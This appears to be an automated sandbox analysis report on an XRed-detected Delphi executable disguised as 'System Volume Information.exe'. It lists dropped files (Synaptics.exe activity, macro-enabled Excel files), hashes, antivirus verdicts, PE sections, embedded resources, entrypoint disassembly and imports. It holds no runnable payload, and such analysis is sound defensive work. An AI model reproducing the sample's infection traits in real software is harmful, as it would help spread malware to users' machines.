Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GnVzo6XsEeM0dnsGE7LXBQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\n8xQJEZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25848333096483
Encrypted:	false
SSDEEP:	24:GgsF+0uVDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/D+pAZewRDK4mW
MD5:	EF6A4854C8E69B44638F12F95A395348
SHA1:	34EB7F7669ED248FB1A0D3A40DFB2D4FE4CD098E
SHA-256:	8805387DCF63F6606240B36A1FCDB20734A8EDE61104DC3723499DA3F86884A6
SHA-512:	F77289FE0B9E744E1B82997E163E10036BE42FE1F6FD443A5E759424596FAA780CE2AACE7AAB84C1183A66C8F1B5555D52D7F416D283BEEE9876B10772DED65B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="q0PCSLDgX1WeI07e1Smnwg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pPIQ4CC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261534011295177
Encrypted:	false
SSDEEP:	24:GgsF+05tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Yt+pAZewRDK4mW
MD5:	66A9BAC25AD2CDBFD7304B3A14E4EFA7
SHA1:	73DFE1F9CAD0519726DFC7878BA87F78D5B4572A
SHA-256:	6A0B17A578405C465C56AAD14090EF73ED31A2BE72D0E9D9CFDEE7F01D60F40B
SHA-512:	C819F274444C09053FB2DE1A71B2B4D6B5023CABCD88D0EBA00CC2E948A1A68224723727858D6B7C7106EDE21A323B0A5C57440AC99E36318E2C6D4BBB7FDA96
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wclqAYlKCK9nR5pUt3zF-A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wr2gMFBN.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\~$wr2gMFBN.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:sYp5lFltt:sYp5Nv
MD5:	B77267835A6BEAC785C351BDE8E1A61C
SHA1:	FABD93A92989535D43233E3DB9C6579D8174740E
SHA-256:	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
SHA-512:	FFFCBA958E9BD56F284DA19592F124C48B013FCDA2FBE65B3EB38BB644C2B0C978E6DAE99EF213B054813C7212E119B09236A6FFF342D32E52C84DD26DE1E033
Malicious:	false
Preview:	.user ..a.l.f.o.n.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF5899ABBCA3E05EC5.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_System Volume Information.exe

Download File

Process:	C:\Users\user\Desktop\System Volume Information.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	71168
Entropy (8bit):	5.694550156473875
Encrypted:	false
SSDEEP:	768:Eltz7LdyMBLlvbbzV9z0Tl86FkzdA6RXv8s3i6E5nXfUWPYfIc/Qi3qEBQph/:ELLlfvrV9z0RuxR53i6EBXlLOUph/
MD5:	F2B28D713C51AB91E3452F7F98416123
SHA1:	039B9B9562971D19E2EBDCD27D209FF26575B94C
SHA-256:	29B58FCAC5050F4C966A71C1CE147F33E221FF34BA3B1BFA6433E208AC708C14
SHA-512:	48D389F477A77EB16389DC011E0E89BA93D28F3FB81FEC3D00C3B606AB4D0CC27B45D945265E170172445DA46028A7E69451DBF19B34A2E4C6D6B5987EB3EDA8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 97%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.\.v.2.v.2.v.2....o.2....f.2....:.2.QoI.q.2.v.3.-.2....t.2....w.2....w.2.Richv.2.................PE..L...=j.R.................h........................@..........................P............@....................................P.......Df...................@.........................................@...............8............................text...Df.......h.................. ..`.rdata...............l..............@..@.data.... ..........................@....rsrc...Df.......h..................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\BJZFPPWAPT.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$BJZFPPWAPT.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:sYp5lFltt:sYp5Nv
MD5:	B77267835A6BEAC785C351BDE8E1A61C
SHA1:	FABD93A92989535D43233E3DB9C6579D8174740E
SHA-256:	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
SHA-512:	FFFCBA958E9BD56F284DA19592F124C48B013FCDA2FBE65B3EB38BB644C2B0C978E6DAE99EF213B054813C7212E119B09236A6FFF342D32E52C84DD26DE1E033
Malicious:	false
Preview:	.user ..a.l.f.o.n.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.635606234724963
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IDr:ansJ39LyjbJkQFMhmC+6GD9o
MD5:	D5253FADDD20B28A13F254B6A5E8F504
SHA1:	B242C40E578DB596E72A4F3E1FC9672537B3BF9E
SHA-256:	040DA0DBF660F2D194212643FB8C72B60ECDBE364C2F02F061B3D4C31EA45313
SHA-512:	15140CACAC3B1493F30B565EE4EB774FFB4A9DCD2388AA208D3A58CAC25F8E3CF09BD8A573B1E7A574E2BF09B4A2A8616DD8F7977BA40E2237B9C9AB9492E6BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4217446095855495
Encrypted:	false
SSDEEP:	6144:ySvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNT0uhiTw:BvloTMW+EZMM6DFyp03w
MD5:	2DEF8B74C3CE80E6CAB99F1092E17156
SHA1:	6426D20954A99132C273EEB179374FE00A160103
SHA-256:	06AC2EA7E8E9F67A17D3837376A6AE685417FAF6BA2FCE26C85AF53D5788829C
SHA-512:	2B7A7385B7A418E0F150840D7407C1DF2DA2F324F583263D255460AFB3058EFF597CCAE9EB6608120515524367115120D1469A78F416B7E717D3CFB1884BB49E
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..c../................................................................................................................................................................................................................................................................................................................................................t.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.578623753298564
TrID:	Win32 Executable (generic) a (10002005/4) 93.58% Win32 Executable Borland Delphi 7 (665061/41) 6.22% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	System Volume Information.exe
File size:	842'752 bytes
MD5:	c2cdae15750e17383ec3b4225bf32a9f
SHA1:	e743955ba3d7c6edaf4dae0400b990b271839eb7
SHA256:	68d41d21c16bae85f9a857511a5a1b3ccc28adc3721b82b17262e0e64f5a53f2
SHA512:	8ef7aa545deb4e7a106b4e92744319522021aa8992a801e3330d5a0bbdefafb11571a3594dd38670916eda44387dfdbb208f9977a587e12ef3b5f38b4ebbdd51
SSDEEP:	12288:ZMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9xEBpij:ZnsJ39LyjbJkQFMhmC+6GD92e
TLSH:	0C058D32F2D18437D1321A3D9C5BA3A5582ABE512E38794F3BF82E4D5F3D68129252D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0102020222636333

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007FFBE4C5629Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FFBE4CA9BE5h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007FFBE4CA97E4h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007FFBE4CA9BD4h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007FFBE4CA9C48h
call 00007FFBE4C53D7Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x23330	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x23330	0x23400	5f3b414a15c23319a69d17bffafed690	False	0.4909823803191489	data	5.787530727085911	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.49390243902439024
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x11600	PE32 executable (GUI) Intel 80386, for MS Windows			0.46783666816546765
RT_RCDATA	0xca414	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0xca418	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0xce018	0x64c	data			0.5998759305210918
RT_RCDATA	0xce664	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0xce7b8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0xd2f8c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xd2fa0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xd2fb4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd2fc8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd2fdc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd2ff0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xd3004	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xd3018	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0xd302c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
